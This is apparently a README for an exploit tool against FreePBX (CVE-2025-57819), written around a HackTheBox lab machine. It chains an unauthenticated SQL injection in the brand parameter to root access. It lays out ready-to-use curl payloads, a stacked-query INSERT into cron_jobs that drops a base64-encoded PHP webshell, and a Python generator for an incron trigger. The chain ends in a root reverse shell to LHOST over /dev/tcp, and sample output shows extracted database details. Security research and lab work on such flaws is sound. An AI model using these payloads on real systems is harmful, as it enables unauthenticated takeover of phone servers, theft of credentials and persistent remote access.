
Unauthenticated SQL Injection to Remote Code Execution in FreePBX — CVE-2025-57819
Severity: Critical
Type: Unauthenticated SQL Injection → Remote Code Execution
Affected Software: FreePBX (endpoint module)
Tested On: FreePBX on CentOS 7, Apache 2.4, PHP 7.4, MariaDB 5.5
An unauthenticated SQL injection vulnerability exists in the FreePBX endpoint module via the brand parameter in /admin/ajax.php. No credentials are required to exploit this vulnerability.
Combined with FreePBX's internal cron job mechanism and the incron/fwconsole hook system, this leads to a full unauthenticated root shell.
[No Auth Required]
│
▼
Unauthenticated SQL Injection
(/admin/ajax.php → brand parameter)
│
├──► Extract DB credentials, user hashes
│
├──► INSERT into cron_jobs
│ │
│ └──► PHP webshell dropped in web root
│ │
│ └──► RCE as asterisk (user flag)
│
└──► Write incron trigger file (as asterisk)
│
└──► sysadmin_manager fires as root
│
└──► fwconsole hook → Root Shell
pip install requests
python3 CVE-2025-57819.py <target> <lhost> <lport>
Example:
python3 CVE-2025-57819.py connected.htb 10.10.xx.xx 9999
Output:
[*] Verifying Unauthenticated SQLi...
[+] SQLi confirmed!
[+] Database : asterisk
[+] Version : 5.5.65-MariaDB
[+] DB User : freepbxuser@localhost
[*] Inserting Cron Job to Drop Webshell...
[+] Cron job inserted — waiting up to 90s for it to fire...
[+] Webshell active! → uid=999(asterisk) gid=1000(asterisk)
[+] User Flag → HTB{REDACTED}
[*] Triggering Root Shell → 10.10.xx.xx:9999
[+] Trigger file created — incron will fire it as root!
The brand parameter in the endpoint module AJAX handler is passed directly into a SQL query without sanitization:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model
&brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
This returns the database name inside an XPATH error — a classic error-based SQLi technique. Stacked queries are also supported, allowing INSERT, UPDATE, and DELETE operations.
Using stacked queries, a cron job is inserted into FreePBX's cron_jobs table:
INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'poc', 'echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+|base64 -d >/var/www/html/shell.php',
NULL, '* * * * *', 30, 1, 1)
FreePBX's cron runner executes this every minute, dropping a PHP webshell into the web root.
incrond watches /var/spool/asterisk/incron/ (writable by the asterisk user). When a file is created there, it triggers /usr/bin/sysadmin_manager as root.
The filename format api.fwconsole-commands.<payload> maps to a pre-existing GPG-signed hook at:
/var/www/html/admin/modules/api/hooks/fwconsole-commands
The hook decodes the filename as a base64(zlib(json([cmd, txn_id]))) payload and executes:
$cmd = "/usr/sbin/fwconsole $command 2>&1";
Using help; as a prefix satisfies fwconsole as a valid command, and the ; chains arbitrary shell commands:
help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1
This executes as root, giving a full root shell.
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+DATABASE()),0x7e))--+-"
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x';INSERT+INTO+cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\
+VALUES('sysadmin','poc','echo+PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64+-d\
+>/var/www/html/shell.php',NULL,'*+*+*+*+*',30,1,1)--+-"
# Save to file to avoid shell quoting issues
cat > gen.py << 'EOF'
import base64, json, zlib
cmd = "help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
payload = base64.b64encode(
zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")
print(payload)
EOF
python3 gen.py
# On the target (as asterisk via webshell)
touch "/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD>"
| Date | Event |
|---|---|
| 2025 | Vulnerability discovered and reported |
| 2025-11-30 | Box deployed on HackTheBox |
| 2025 | CVE-2025-57819 assigned |
This tool is for educational purposes and authorized security testing only. Do not use against systems you do not have explicit permission to test. The author is not responsible for any misuse.
| Finding | Detail |
|---|
| Database | asterisk (MariaDB 5.5.65) |
| DB User | freepbxuser@localhost |
| Web User | asterisk (uid=999) |
| Cron table | writable via SQLi |
| Incron dir | /var/spool/asterisk/incron/ (writable by asterisk) |
| Privesc | fwconsole hook runs as root via incrond |
| Root method | Incron trigger → signed fwconsole hook → command injection |